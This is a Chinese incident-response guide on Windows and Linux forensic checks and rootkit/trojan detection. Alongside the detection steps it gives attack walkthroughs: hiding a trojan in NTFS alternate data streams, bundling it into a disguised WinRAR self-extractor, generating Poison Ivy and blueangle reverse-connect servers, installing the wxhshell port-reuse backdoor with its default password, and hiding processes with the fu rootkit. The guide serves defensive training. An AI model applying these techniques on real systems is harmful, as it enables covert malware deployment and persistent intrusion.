应急响应技术指南
■ 版权声明
本文中出现的任何文字叙述、文档格式、插图、照片、方法、过程等内容，除另有特别注明，版权所有，受到有关产权及版权法保护。任何个人、机构未经的书面授权许可，不得以任何方式复制或引用本文的任何片断。
■ 适用性声明
本文档用于描述一般事件的应急响应流程及技术手段，供分支工程技术人员参考使用。
目录
一. 前期准备 ............................................................................................................................................... 1 1.1 应急流程 ........................................................................................................................................... 1 1.1.1 现场应急流程 ........................................................................................................................... 1 1.1.2 远程支持流程 ........................................................................................................................... 2 1.1.3 应急支持接口 ........................................................................................................................... 3 1.2 应急工具包 ....................................................................................................................................... 3 1.2.1 Windows系统快速信息收集 .................................................................................................... 3 1.2.2 Windows检测工具包 ................................................................................................................ 6 1.2.3 UNIX/Linux检测工具包 ............................................................................................................. 7 1.2.4 WEB检测工具包 ........................................................................................................................ 8 二. 技术指南 ............................................................................................................................................... 9 2.1 WINDOWS检测技术 ............................................................................................................................ 9 2.1.1 Windows常规检测 .................................................................................................................... 9 2.1.2 Windows恶意代码监测 .......................................................................................................... 14 2.2 UNIX/LINUX检测技术 ....................................................................................................................... 47 2.2.1 UNIX/Linux常规检测 ............................................................................................................... 47 2.2.2 UNIX/Linux恶意代码监测 ....................................................................................................... 57 2.3 WEB检测技术 ................................................................................................................................. 65 2.3.1 WEB日志分析 .......................................................................................................................... 65
- I - 一. 前期准备
1.1 应急流程
1.1.1 现场应急流程
- 1 -
1.1.2 远程支持流程
- 2 -
1.1.3 应急支持接口
1.1.3.1 接口部门
技术支持部 服务支持组
1.1.3.2 接口人
服务支持组
1.2 应急工具包
1.2.1 Windows系统快速信息收集
在应急响应过程中，对Windows系统的检查相对较多地依赖于第三方工具，而在没有可用第三方检查工具或由于某些特殊原因而无法在被检查系统上运行其他工具时，可参考本节，以便能在借助系统自带工具的情况下快速收集信息。
1.2.1.1 系统信息
开始 – 程序 – 附件 – 系统工具 – 系统信息（或直接 开始—运行 – winmsd ） 在系统信息的系统摘要中可获取基本的系统信息，可通过截图或保存为NFO文件
- 3 -
1.2.1.2 用户信息
命令行方式：net user，可直接收集用户信息，若需查看某个用户的详细信息，可使用命令net user username
图形界面：开始 – 运行 – compmgmt.msc – 本地用户和组 – 用户
注册表：开始 – 运行 – regedit（Windows 2000系统需运行regedt32），打开HKEY_LOCAL_MACHINE\\SAM，为该项添加权限（如下图）
添加权限完成后按F5刷新即可访问子项。
打开：HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users
在此项下，导出所有以00000开头的项，将所有导出项与000001F4（该项对应administrator用户）导出内容做比较，若其中“F”值内容相同，则可能为克隆用户
1.2.1.3 进程、服务、驱动信息
进程：打开系统信息工具，依次打开 软件环境 – 正在运行任务，在此可查看进程名及其对应的执行文件
- 4 -
服务：打开系统信息工具，依次打开 软件环境 – 服务，在此可查看服务的启动情况及其对应的启动文件
驱动：打开系统信息工具，依次打开 软件环境 – 系统驱动程序，在此可查看驱动的启动情况及其对应的驱动文件
模块：打开系统信息工具，依次打开 软件环境 – 加载的模块，在此可查看被加载的DLL文件及其对应的文件路径
启动项：打开系统信息工具，依次打开 软件环境 – 启动程序，在此查看启动程序名及其对应的启动文件路径
若需对以上信息进行保存，可保存为NFO文件，或选择导出菜单导出为文本文件。
1.2.1.4 日志与文件
查看系统日志：开始 – 运行 – eventvwr，选择要查看的日志类型
若需导出系统日志，可右键选择要收集的日志类型，选择“另存日志文件”，建议导出为csv文件，方便快速统计。
其他程序日志：
IIS日志：IIS日志默认存储于%systemroot%\\system32\\LogFiles\\，若被检测主机为虚拟主机，为判断每个虚拟站点对应的IIS日志，可使用IIS管理脚本findweb.vbs
命令格式为 cscript findweb.vbs test2 输出结果如下
Web Site Number = 4 Web Site Description = test2 Hostname = test2.aaa.com
- 5 -
Port = 80
IP Address = test2.aaa.com
由输出判断该站点对应的日志路径为 %systemroot%\\system32\\LogFiles\\W3SVC4 Apache日志：apache for win32的日志默认存储于其安装目录下的logs目录中，其中access.log为访问日志，若该日志不存在或较长时间未出现过更新，则日志路径可能被修改，应查看httpd.conf文件中的下列字段
ErrorLog logs/error.log
CustomLog logs/access.log common
根据CustomLog字段指定的路径，可获取真实的日志文件位置。
1.2.1.5 网络信息
Windows 2000下可使用netstat –an命令收集网络连接信息。 Windows XP以后版本中可使用netstat –ano命令收集网络信息。
1.2.1.6 补丁信息
Windows 2000系统中，收集补丁信息可直接访问注册表路径
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Updates，该路径下存储了系统及Windows 组件的补丁安装信息。
Windows XP以后版本的系统中，可使用WMIC命令收集补丁信息，运行命令 wmic qfe 注：为避免输出过多信息，可使用命令 wmic qfe get Description, HotFixID 或 调整cmd窗口的宽度、高度及高和宽的缓冲区大小。
1.2.2 Windows检测工具包
分类 用户检查 LP_Check Windows 应急工具 进程及启动项 process explorer autoruns Process monitor 用于检测克隆帐号的工具 进程检查和管理工具 启动项检查工具 进程监视工具 命令 & 工具 & 文件 compmgmt.msc 相关说明 系统自带“计算机管理”
- 6 - wsyscheck winmsd 服务、模块及驱动 listdlls streams sigverif Regmon 日志与文件 Filemon eventvwr logParser Tcpview 网络连接 netstat -ano Wireshark sniffer分析 sniffer pro windump Icesword 恶意代码分析工具 Rootkit Unhooker 进程、服务、模块综合检查工具 系统自带“系统信息” 模块检查工具 文件流数据检查工具 文件签名验证工具 注册表监视工具 文件监视工具 系统自带“事件查看器“ 日志分析工具 进程与网络连接查看工具 系统自带 sniffer （需安装WinPcap) Windows Rootkit检测工具 Sysprot Rootkit Unhooker 1.2.3 UNIX/Linux检测工具包
分类 命令 & 工具 & 文件 cat /etc/passwd 用户检查 cat /etc/shadow 进程及启动项 UNIX/Linux 应急工具 服务及模块 chkconfig –list(RedHat) ls /etc/rc*.d/S* find / -perm -004000 –type 日志与文件 f –print md5sum - 7 - 相关说明 是否有可疑用户及用户登录shell配置是否正确 是否存在空口令帐号 正在运行的进程信息 列出每个服务在各运行级别下是否开机自启动 列出所有运行级别下启动的服务 搜索硬盘中所有SUID文件 检查文件的MD5值 ps -eaf
/var/adm (Solaris) 用于存储日志的目录 /var/log (Linux) rpm -V <软件包名> RPM完整性 rpm –Va lsof –i 网络连接 w netstat tcpdump Sniffer分析 snoop (Solaris) wireshark 恶意代码分析工具 Chrootkit rootkit检查工具 Rootkit hunter Sniffer 列出所有发生过变化的软件包 查看系统开放端口及其对应的PID等信息 查看当前系统用户登录情况 查看当前系统的网络连接 检查软件包是否发现过变化 1.2.4 WEB检测工具包
分类 命令 & 工具 & 文件 findstr WEB检测工具 Apache 日志分析 IIS 日志分析 logParser grep 相关说明 系统自带的字符搜索工具 各类常见Windows日志的自动化分析工具 系统自带的字符搜索工具
- 8 - 二. 技术指南
2.1 Windows检测技术
2.1.1 Windows常规检测
2.1.1.1 用户检查
开始菜单—运行—输入compmgmt.msc，选择“系统工具”—“本地用户和组”，即可查看所有本地用户和组的信息（包括用户名以$结尾的隐藏用户，如：admin$）
检查克隆用户可以使用工具LP_Check.exe
- 9 -
2.1.1.2 进程及启动项
进程信息可以使用wsyscheck.exe工具查看（窗口上半部分），红色的条目代表非微软进程，可能是第三方应用程序的进程。紫色的条目代表微软进程，但进程中注入了非微软的模块。点击进程的名称，窗口下半部分将显示出注入此进程的模块名。
- 10 -
对于非微软进程（红色）和微软进程中注入的非微软的模块（紫色），需要重点检查。 系统开机启动项可以使用autoruns.exe工具查看，启动程序后，建议启用数字签名检查，选择“Options” —“Verfify Code Signatures”后，点击F5键刷新，
分析结果时，需要重点检查“Description”列中没有描述信息的条目，和“Publisher”列中标记为“（Not Verified）”的条目。
2.1.1.3 服务、模块及驱动
服务和模块信息可以使用wsyscheck.exe工具中“服务管理”查看，重点检查红色的条目
- 11 -
系统开放的端口及对应的进程可以点击“安全状态” —“端口状态”查看
- 12 -
2.1.1.4 日志与文件
系统日志
系统日志记录着Windows系统及其各种服务运行的每个细节，起着非常重要的作用，默认情况下，Window的系统日志存放在c:\\windows\\system32\\config，分别为：
AppEvent.Evt（应用程序日志） SecEvent.Evt（安全性日志） SysEvent.Evt（系统日志）
我们可以使用系统自带的“事件查看器”查看
计划任务日志
存放在c:\\windows\\SchedLgU.Txt 浏览器
历史记录存放在：C:\\Documents and Settings\\用户名\\Local Settings\\History
临时文件存放在：C:\\Documents and Settings\\用户名\\Local Settings\\Temporary Internet Files
Cookie文件存放在：C:\\Documents and Settings\\用户名\\Cookies
- 13 -
通过浏览器的历史记录、临时文件及cookie等信息，可判断用户的上网行为。 IIS日志
IIS日志存放在：c:\\windows\\system32\\logfiles\\W3SVCx\\exYYMMDD.log （常见IIS日志分析，可参考“WEB检测技术”章节）
2.1.1.5 网络连接
使用tcpview可用于检测当前系统中的进程及其对应的连接状态，其中，当进程标记为绿色时表示该连接为新发起的连接，当进程被标记为红色时表示该连接为结束状态。
2.1.2 Windows恶意代码监测
本章节描述了常见恶意代码检查工具的使用方法和技巧，同时列举了常见恶意程序的原理和分类，不能完整覆盖全部已知恶意程序。
如需要了解更多的恶意程序查杀实例，请参考《常见恶意程序查杀指南》。
2.1.2.1 PE文件修改病毒检测
PE文件被称为可移植的执行体，是Portable Execute的缩写，常见的EXE、SRC、DLL、OCX、SYS都是PE文件，PE文件是微软Windows操作系统上的程序文件（可能是间接被执行，如DLL）。
- 14 -
很多恶意代码喜欢通过修改PE文件来达到不同的目的，或自启动或隐藏。因此也诞生了许多精巧的PE文件修改技术。但是时至今日，我们可以用非常简单的方法检测系统中被修改的PE文件。
Sigverif.exe是微软提供的一款文件签名验证小工具。在“开始→运行”对话框中键入“sigverif.exe”，即会激活此工具。如下图所示。
Sigverif不仅可以验证系统文件，还可以验证非系统文件，点“高级”后，指定要验证的文件夹，选择“包括子文件夹”，就可以一个不漏地进行验证了。对验证结果，sigverif不会显示签名者，只会提示通过验证或不通过，没有通过即显示出来。
通过此工具，很快能够检测到机器狗更改系统文件userinit.exe，日志扫描出来后，userinit.exe没有通过签名验证、没有公司标识，因此初步判断此文件肯定有问题，经分析发现，机器狗通过修改此文件实现自启动。
2.1.2.2 交换数据流木马检测
NTFS因为它的稳定性强大的功能以及它所提供的安全性而成为一种更优越的文件系统，NTFS交换数据流(alternate data streams，简称ADSs)是为了和Macintosh的HFS文件系统兼容而设计的，它使用资源派生来维持与文件相关的信息，比如说图标及其他的东西。而微软提供了一种方法通过Windows explorer来创建特殊的ADSs，检测这种特殊的ADSs的必要工具和功能相当缺乏。Microsoft KnowledgeBase中Q101353号文章承认了基于API的win32不能很好的支持ADSs。
NTFS交换数据流是NTFS磁盘格式的一个特性，在NTFS文件系统下，每个文件都可以存在多个数据流，就是说除了主文件流之外还可以有许多非主文件流寄宿在主文件流中。
- 15 -
它使用资源派生来维持与文件相关的信息，虽然我们无法看到数据流文件，但是它却是真实存在于我们的系统中的。
既然NTFS交换数据流是NTFS磁盘格式的一种特性，那么对我们有什么危害呢？从上文的定义中我们可以知道NTFS系统中的一个普通文件是可以拥有多个数据流文件的，而数据流文件的格式却没有限制，并且当我们运行这个文件时，其附带的数据流文件也会运行，这说明什么呢？这就表示如果黑客将木马程序作为数据流文件捆绑于正常的文件中，当用户运行这个文件，就会同时运行木马程序。
更可怕的是，由于兼容性的问题，系统自带的任务管理器、进程管理器等工具都不能很好的检测到NTFS交换数据流。因此NTFS交换数据流技术常常被黑客利用来隐藏文件、进程。
下面我们来详细的看看NTFS交换文件流的利用方法。
2.1.2.2.1 隐藏信息
在任一NTFS分区下打开CMD命令提示符，输入echo abcde>>a.txt:b.txt，则在当前目录下会生成一个名为a.txt的文件，但文件的大小只有0字节，打开后也无任何内容，只有当我们键入命令notepad a.txt:b.txt才能看见写入的abcde。
在上边的命令中，a.txt可以不存在。也可以是某个已存在的文件，文件格式无所谓，无论是.txt还是jpg,bmp,com,exe都行，b.txt也可以任意指定文件名以及后缀名。这样就可以将任意文本信息隐藏于任意文件中，只要不泄露冒号后的虚拟文件名（即b.txt），别人是根本不会查看到隐藏信息的。而且在已经使用NTFS交换数据流制造了隐藏信息后，包含隐藏信息的文件仍然可以继续隐藏其他的内容，例如abcde已经包含在a.txt:b.txt中，我们仍然可以使用命令echo 12345>>a.txt:c.txt建立新的包含隐藏信息的流文件，在命令行下使用notepad a.txt:c.txt打开后会发现12345这段信息，而abcde仍然存在于a.txt:b.txt中丝毫不受影响。
2.1.2.2.2 隐藏文件
我们要使用到的命令跟上面的大同小异，命令格式为：type 文件名+后缀>>任意文件名+原文件后缀，比如type 1.jpg>>abc.def:2.jpg，就是将1.jpg的内容写入到abc.def:2.jpg这个交换数据流文件中，abc.def可以随便换，最好是使用正常的文件，这样隐蔽性会更强。
打开隐藏文件时就要注意了，如果用来打开文件的程序是系统自带的（位于系统目录下），直接输入程序名就可以了：但如果是使用另外的程序打开的话就要是加上完整的路径，且流文件也要带上完整的路径。例如使用画图工具打开abc.def:2.jpg，命令格式应该是mapaint abc.def:2.jpg，而如果使用ACDSee9打开的话，命令格式就应该是
- 16 - D:\\ACDSee9\\ACDSee8.exe D:\\abc.def:2.jpg 注意上面的2.jpg，后缀最好跟原文件一致，不然使用第三方软件打开时可能会出错。比如type 1.jpg>>abc.def:2.jjj，使用Windows自带的画图工具可以顺利打开，但使用ACDSee9打开时却提示数据格式不可识别，必须改成.jpg后缀才可以打开。
同理，其他文件也可以这样隐藏，只要打开时根据后缀名找到对应的程序就行了，而且也可以像隐藏信息那样隐藏多个文件。
2.1.2.2.3 捆绑木马
仍然是使用上面隐藏文件的方法，运行的命令格式为：start.exe 交换数据流文件路径，需要带上完整的路径，不然会提示参数不正确。例如我们在系统目录提示符下通过下面这条命令建立了一个数据交换流c:\\windows\\system32>type muma.exe >
notepad.exe:muma.exe，接着使用start.exe c:\\windows\\system32\\notepad.exe:muma.exe即可运行木马程序。在winxp sp1之前的系统上，当我们打开任务管理器时，我们只能看到notepad.exe的进程，而查看不到muma.exe！
2.1.2.2.4 注意事项
流文件不能直接通过网络传输，也不能使用WinRAR进行普通压缩后传输，那样会丢失
信息，必须在压缩时选择高级选项里的“保存文件流数据”才行。
流文件必须要在NTFS分区下才能运行，一旦放到其他的文件系统分区中，即使再放回
来，也会造成NTFS数据流的丢失。
NTFS交换数据流技术在winxp sp2之后，做了一定的修正。当我们运行一个数据流文件
时，在进程管理器中可以看到完整的数据流文件信息，而不是像以前那样，只能看到它所依附的文件进程。但是很有意思的是，即使在winxp sp3的机器上，依然能够通过这种方式来实现信息隐藏及文件隐藏。
那么在实战中，黑客通常是如何使用这种技术呢？因为NTFS数据流文件的特性，它不可能通过网络传播，黑客通常是使用Winrar将数据流文件进行打包来进行攻击的。
首先在文件格式为NTFS的盘符文件夹里放好宿主文件和木马程序，这里分别是HijackThis.exe和muma.exe。
- 17 -
进入命令提示符，在test文件目录下利用type命令将muma.exe以交换数据流的形式注入到HijackThis.exe里，之后你可以通过属性查看HijackThis.exe文件的大小，前后是不会发生任何变化的。
利用WINRAR，将已经注入了木马程序的宿主添加到压缩文件。
需要注意的是在“高级”选项中勾选“保存文件数据流”。
- 18 -
可以将HijackThis.exe和muma.exe删除了，之后我们打开已经压缩好的HijackThis.rar。
选择右上角的“自解压格式”。
- 19 -
在“自解压格式”标签的“自解压模块”中选中“Default.SFX”，然后点击“高级自解压选项”。
在其“常规”标签的“解压后运行”中填入“HijackThis.exe:muma.exe”。
- 20 -
切换到“模式”标签，勾选其中的“全部隐藏”、“覆盖所有文件”。全部设置完成后点击“确定”。
这样我们就得到了一个新的HijackThis.exe，为了欺骗性更大黑客可以把它重命名为“setup.exe”。
当我们打开这个setup.exe，或者对其解压安装的时候，已经注入其中的muma.exe就自动运行了，由于它是以NTFS交换数据流的形式存在于这个setup.exe当中，所以无法通过windows自带的搜索或者dir命令找到，甚至可以骗过杀毒软件的搜索引擎。
- 21 -
数据流木马虽然隐蔽，但是防范的方法还是有的。
首先对于Winrar的自解压文件我们一定要小心，可以选择用Winrar打开自解压文件而不
是双击打开。
其次，可以使用一些专业的NTFS数据流检查工具，找出隐藏在系统中的恶意文件。专
业检测NTFS数据流文件的工具有Sfind.exe、Streams.exe、lads.exe等，这里我们以lads.exe为例进行介绍。
lads.exe是一个命令下的工具，需要在“命令提示符”中使用。在“命令提示符”中运行lads.exe，程序会自动检测当前目录中的NTFS数据流文件，如果要检测子目录中的数据流文件，可以在lads.exe运行的同时添加一个参数“/s”，这样就可以检测到子目录中的数据流文件了。对指定文件夹进行检测时，可以使用“lads.exe 文件夹路径”命令。
- 22 -
2.1.2.3 线程注入木马检测
线程注入隐藏技术是木马采用的最流行的技术之一。线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。采用线程插入技术，实际上就是以非进程的方式执行目标代码，逃避进程查看器的检查，从而达到“进程隐藏”的目的。在宿主进程中，以线程的方式执行木马代码。这样，使用查看进程的方法很难发现木马线程的运行。
线程注入的技术是一种“性价比”比较高的技术，在很多恶意代码中都能看到这种技术的身影。比如插入线程到系统进程或者在后台开启一个ie进程，然后再插入线程。本技术门槛相对比较低，而且在隐藏和穿透防火墙方面有非常好的表现，再配合一些rootkit技术，能够让恶意代码隐藏的更深。
下面介绍两种简单的线程注入木马的检测方法。
2.1.2.3.1 Process explorer检测线程注入
如下图所示，检测可疑进程空间下加载的未通过数字签名验证的dll文件。
- 23 -
2.1.2.3.2 IceSword检测线程注入
在icesword的工具包中有个叫Cooperator压缩包，用rar解压缩。其中有一个叫IsHelp.exe的小工具。要利用这个小工具，首先要运行icesword.exe。选中可疑进程，单击右键，在弹出下拉菜单中选中线程分析。
在IsHelp.exe线程分析的结果中，我们看到了它会标注了可疑的线程。
2.1.2.4 Spi木马检测
Winsock 2 SPI是一个新特性，是为书写服务提供者的人员提供的。Winsock 2不仅提供了一个供应用程序访问网络服务的Windows socket应用程序编程接口（API），还包含了由传输服务提供者和名字解析服务提供者实现的Winsock服务提供者接口（SPI）和ws2_32.dll。
- 24 -
在此以传输服务提供者为例来实现进程的隐藏。如下是应用程序，Ws2_32.dll和传输服务提供者接口之间的层次关系：
|Windows socket 2 应用程序|
----------------------------Windows socket 2 API | WS2_32.DLL |
----------------------------Windows socket 2 传输SPI | 传输服务提供者（DLL） | ----------------------------
基于这个原理，SPI木马的穿透防火墙的性能比较好，只要有程序能上网，它就能回连到控制端。正是这个原因，SPI木马曾今风靡一时，比如说早期比较典型的blueangle。
下面以blueangle为例来介绍spi木马的使用、检测方法。 在win2003（192.168.10.246）上打开木马程序所在文件夹。
生成采用端口反弹方式工作的木马程序。
将木马程序通过飞秋（局域网共享程序）传到一台XP（192.168.10.236）主主机上。
- 25 -
在XP上将传输过来的木马程序点击运行，木马程序运行后无法在任务管理器中看到，我们可以通过autoruns（微软自带的SysinternalsSuite工具包来完成，打开autoruns.exe，找到如图所示。
在win2003（192.168.10.246）主机上用nc去连接被挂马的主机xp（192.168.10.236），连接成功，如图所示，可以通过help查看具体的操作命令。
- 26 -
2.1.2.5 ActiveX自启动木马检测
早期，这种自启动方式在国内的木马中出现的并不是很多，主要是一些国外的木马对这种自启动方式比较偏爱。比如非常著名的木马Poison Ivy就采用了这种自启动方式。
- 27 -
ActiveX启动其实非常简单，仅仅是在注册表中HKEY_LOCAL_MACHINE下的Software\\Microsoft\\Active Setup\\Installed Components\\中注册一条信息就可以了。这条信息的键类似{36f8ec70-c29a-11d1-b5c7-0000f8051515}就可以。其实，我们可以随便的更改这些数字，只要不重复就可以了，而且我们还可以在这个键的下面新增子键StubPath和子键的值，如c:\\Windows\\system32\\muma.exe即可。这样系统每次启动就会运行c:\\Windows\\system32\\muma.exe这个程序。
这里有一个疑问，前面我们提到的{36f8ec70-c29a-11d1-b5c7-0000f8051515}这是什么？其实这就是GUID，即全球唯一标识，对应着ActiveX接口的唯一标识。GUID是一个字母数字标识符，用于指示产品的唯一性安装。在许多流行软件应用程序（例如Web浏览器和媒体播放器）中，都使用GUID。GUID的格式为“xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx”，其中每个x 是0-9或a-f范围内的一个十六进制的数字。例如：
6F9619FF-8B86-D011-B42D-00C04FC964FF即为有效的GUID值。为什么要用GUID？世界上的任何两台计算机都不会生成重复的GUID值。GUID主要用于在拥有多个节点、多台计算机的网络或系统中，分配必须具有唯一性的标识符。在Windows平台上，GUID应用非常广泛：注册表、类及接口标识、数据库、甚至自动生成的机器名、目录名等。
下面看一下poison lvy配置及检测方法。 打开木马所在文件夹，找到毒药程序。
新建一个服务器端程序profile，我们这里命名为goods。
- 28 -
配置goods的客户端连接地址，这里的截图为本机的，我们可以在这里配置为192.168.10.246，及上线主机都默认连接这台主机。
我们这里选择木马的启动方式为ActiveX。
- 29 -
这里默认就可以，下方的inject server into the default browser为 默认插入一个explorer中来隐藏。
这里也选择默认，当然也可以选择加壳。
- 30 -
选择generate生成服务器端
把服务器端木马程序传到另外一台XP主机上(192.168.10.236）
- 31 -
稍等一会儿后主机上线
目标主机上ActiveX在注册表中的保存位置。
- 32 -
2.1.2.6 端口复用木马检测
端口复用木马曾经一度非常流行。因为在win2000之前的系统（微软在windows 2003之后的操作系统做了修改，系统服务所开启的端口已经不能重用了），大部分端口都是可以重复绑定的，假如木马复用受害主机的系统端口时，其隐蔽性是非常好的。
下面我们来看一个实例：wxhshell。
Wxhshell是一款很有代表性的后门，在这款后门里采用了端口复用技术，因此可以突破一些防火墙。而且其运行不影响正常端口的工作。此后门对于采用了独占方式的端口无法绑定，经测试XP系统端口135，445，1025，1028，1045无法绑定，其他端口基本上都可以。
下面看看其使用及检测方法。
首先我们看看实验环境。在我的win2000 server的服务器上，配置好了iis，而且我在虚拟机上保存了一张百度的首页作为虚拟机的web首页。
- 33 -
当我们访问http://192.168.10.146/index.htm，首页出现，说明iis服务正常、80端口开启正常。下面，我们就使用Wxhshell来重用服务器80端口。接下来，拷贝Wxhshell程序到虚拟机系统目录，打开命令行程序，准备安装。Wxhshell的安装非常简单，只需要一个参数，就是重用端口号。在命令提示符下输入命令：Wxhshell 80。即重用80端口安装。
这时，木马就安装好了。看看是否能够连接后门程序。输入命令telnet 127.0.0.1 80，连接成功，出现木马提示符“Please Input Your Password:”，输入默认密码“xuhuanlingzhe”，返回shell，连接成功。
很显然，我们成功复用了web服务器的80端口，通过80端口获取了shell。如下图所示，可以看出进程Wxhshell、inetinfo同时绑定在80端口。
- 34 -
2.1.2.7 IAT hook rootkit检测
当应用程序使用另一个库中的函数时，必须导入该函数的地址。如前所述，使用Win32 API的大多数应用程序都是通过IAT来执行该动作。应用程序所用的所有DLL都包含在该应用程序的文件系统映像的IMAGE_IMPORT_DESCRIPTOR结构中。这个结构包含了应用程序导入的函数所属的DLL名，以及两个IMAGE_IMPORT_BY_NAME数组指针，IMAGE_IMPORT_BY_NAME结构包含了应用程序所使用的导入函数的名称。
操作系统将应用程序加载到内存时，分析这些IMAGE_IMPORT_DESCRIPTOR结构，并将所需的全部DLL加载到该应用程序的内存中。一旦映射了DLL之后，操作系统就在内存中定位每个导入的函数，并使用函数的实际地址来重写一个IMAGE_IMPORT_BY_NAME数组。(要学习Windows PE格式中各种数据结构的更多知识，参见Matt Pietrek的文章。)
一旦rootkit的钩子函数处于应用程序的地址空间中，rootkit就可以分析内存中目标应用程序的PE格式，并将IAT中目标函数的地址替换为钩子函数的地址。然后，当调用目标函数时，就会执行钩子函数而不是原始函数。图4.2解释了hook IAT后的控制流程。
从图4.2中可看出，这是一种非常强大却又相当简单的技术。但它也存在着缺点：这些类型的钩子比较容易被发现。另一方面，诸如此类的钩子经常得到使用，甚至操作系统自身在一个称为DLL转发(DLL forwarding)的进程中也用到它。即使有人试图检测rootkit钩子，但区分良性钩子和恶意钩子仍然是困难的。
- 35 -
该技术的另一个问题涉及到绑定时间。一些应用程序采用后期按需绑定技术。这种绑定方法在调用函数时才解析函数地址，从而减少了应用程序所需的内存量。当rootkit试图钩住这些函数时，IAT中可能不存在它们的地址。如果应用程序通过LoadLibrary和GetProcAddress来寻找函数地址，IAT钩子将不会起作用。
下面来看一个演示程序，这个演示程序通过IAT 钩子 hook了MessageboxA函数，实现了MessageBoxA函数参数的替换。
执行demo程序iatdemo.exe，执行效果为弹出对话框“Hook MessageBox 函数成功！”。
查看程序源码，预期的MessageBox “这是正常的！”未出现，IAT hook改变了程序原来的执行流程。
使用工具IATHooksAnalyzer，查看进程iatdemo.exe，可观察到USER32.dll中的MessageBoxA函数被hook。
- 36 -
2.1.2.8 INLINE hook rootkit检测
Windows用户模式rootkit-Inline hook是用替换目标API的指令序列改变执行流程使之运行我们hook程序的一种方法。然后恢复API开头的指令序列，继续执行合法的API。
下面看一个实例rootkit-AFXRootkit2005 打开程序所在文件夹。
执行程序隐藏命令：start.exe c\\winnt\\rewt\\root.exe /I 。
- 37 -
这样程序就把自身的目录隐藏起来了
通过CMD进入到rewt目录。
- 38 -
我们用iceword查看进程情况，发现有个root.exe的进程标红，被隐藏起来了。
通过iceword的高级扫描模式发现有很多函数都被inline hook了，把大约87个被hook了的函数进行恢复，然后我们看进程里root.exe就没有了，而且被隐藏的文件夹就出现了。
- 39 -
2.1.2.9 SSDT hook rootkit检测
SSDT的全称是System Services Descriptor Table，系统服务描述符表。这个表就是一个把ring3的Win32 API和ring0的内核API联系起来的索引表。
SSDT中存放了所有系统服务函数的入口地址。系统服务调度程序通过查找 SSDT 来调用相应的系统服务。因此，Rootkit 可以将 SSDT 中的系统服务地址替换为自己代码的地址。这样，当调用系统服务时，实际运行的是Rootkit 代码，由Rootkit 代码调用真正的系统服务并对结果作相应处理。例如，ZwQuerySystemInformation是系统列举进程时须调用的系统服务， 通过挂钩它来实现进程的隐藏。
下面用一个ssdt hook 的demo程序来演示ssdt木马检测、ssdt hook的恢复。 用InstDrv工具安装示例驱动basic_mdl_flags.sys并加载执行。
- 40 -
该驱动hook了ZwQuerySystemInformation函数，实现了隐藏以_root_开头的进程的功能。执行程序_root_.exe，在任务管理器中无法看到此进程在运行，可对比使用冰刃可以看到该隐藏进程。
- 41 -
使用冰刃查看系统SSDT，可观察到被hook的ZwQuerySystemInformation函数当前地址与原始值不一致。
冰刃中用右键恢复改SSDT，再次执行_root_.exe，该进程在任务管理器中恢复显示。
- 42 -
2.1.2.10 SYSENTER hoot rootkit检测
Intel x86 平台上的 Windows XP 系统用 SYSENTER 指令取代中断，使系统陷入系统服务调用程序(AMD 平台上的Windows XP 使用 syscall 指令实现相同功能)，相应产生了新的 Hook 方法，即把 IA32_ SYSENTER_EIP 寄存器的值修改为要运行的 Rootkit 代码的地址。
下面用sysenter hook demo程序演示sysenter hook 检测。 用InstDrv工具安装示例驱动sysenter.sys并加载执行。
使用SysProt工具检查kernel hooks，可观察到Sysenter函数被sysenter.sys做了hook。
- 43 -
2.1.2.11 IRP hook rootkit检测
IRP （I/O Request Packet即 I/O 请求包)，驱动与驱动之间通过 IRP 进行通信。而使用驱动的应用层调用的 CreatFile,ReadFile,WriteFile,DeviceIoControl 等函数，说到底也是使用 IRP 和驱动进行通信。下图描述了在IRP请求过程中发生hook的情况。
下面以irp hook demo程序演示irp hook 使用、检测。 用InstDrv工具安装示例驱动irphook.sys并加载执行。
该驱动hook了IRP_MJ_DEVICE_CONTROL的处理函数，隐藏了所有WEB连接（远程端口为80的TCP连接），用web浏览器打开goolge页面，使用netstat -an命令无法看到连接建立的状态。
- 44 -
使用SysProt工具检查irp hook，可观察到tcpip.sys中的IRP_MJ_DEVICE_CONTROL的处理函数被hook。
2.1.2.12 DKOM rootkit 检测
对于Windows 2000/xp/2003等系统都具有描述进程，线程的对象，任务管理器、ZwQuerySystemInformation 函数就是利用这些对象来列出机器上的运行进程。每个进程和线程都有描述它们的结构，描述进程的是EPROCESS结构，描述线程的是ETHREAD结构。
EPROCESS结构中有个双向链表LIST_ENTRY结构，这个结构有两个DWORD指针成员FLINK和BLINK，这两个指针分别指向当前进程的前一个和后一个进程。 要隐藏当前进程
- 45 -
只要把当前进程从这个双向链表中删掉即可。这种rootkit采用的技术就是从双向链表中删除当前进程。如图：
下面看一个DKOM rootkit的实例-fu：
- 46 -
在命令行下，运行fu 命令，列出fu的功能：列出系统进程、以pid为参数隐藏进程、隐藏驱动、设置进程权限为系统权限 ……
选中需要隐藏的进程，运行fu -ph 8，这里8是指system进程的pid，然后从任务管理器查看就看不到了，我们只能用像Iceword之类的工具查看隐藏进程，下图标红显示。
2.2 UNIX/Linux检测技术
2.2.1 UNIX/Linux常规检测
2.2.1.1 用户检查
查看系统所有用户信息可以使用命令cat /etc/passwd
- 47 -
各列由冒号隔开，分别表示“用户名”“密码加密”“用户ID”“用户组ID”“注释”“用户主目录”“默认登录shell”。
检查中需要与管理员确认是否有可疑用户，“用户ID”列中，一般情况下应该只有root的ID是0，其他用户的ID如果设置为0，即拥有root权限。
2.2.1.2 进程及启动项
查看系统进程可以使用命令ps -eaf
- 48 -
“UID”列表示启动进程的用户名 “PID”列表示进程的PID值 “STIME”列表示进程的启动时间 “TIME”列表示进程已经运行的时间 “CMD”列表示启动进程的命令
强制结束进程可以使用命令kill -9 进程的PID值 例如：我使用ps命令查看到系统正在运行一个进程vi root 2535 2383 0 20:29 tty1 00:00:00 vi 使用kill命令强制结束vi进程 [root@centos ~]# kill -9 2535
2.2.1.3 服务及模块
查看系统服务可以使用命令chkconfig –list，列出每个服务在各运行级别下是否开机自启动
- 49 -
查看系统当前运行级可以使用命令who –r（下图中列出当前运行级runlevel是3）
/etc/inittab
/etc/inittab是系统初始化文件，操作系统启动后会自动加载此文件，文件以冒号分隔为4个字段：
identifier :
run_level
:
action
:
process
各字段说明如下：
identifier：登记项标识符，最多为4个字符。用于惟一地标识/etc/inittab文件中的每一个登记项
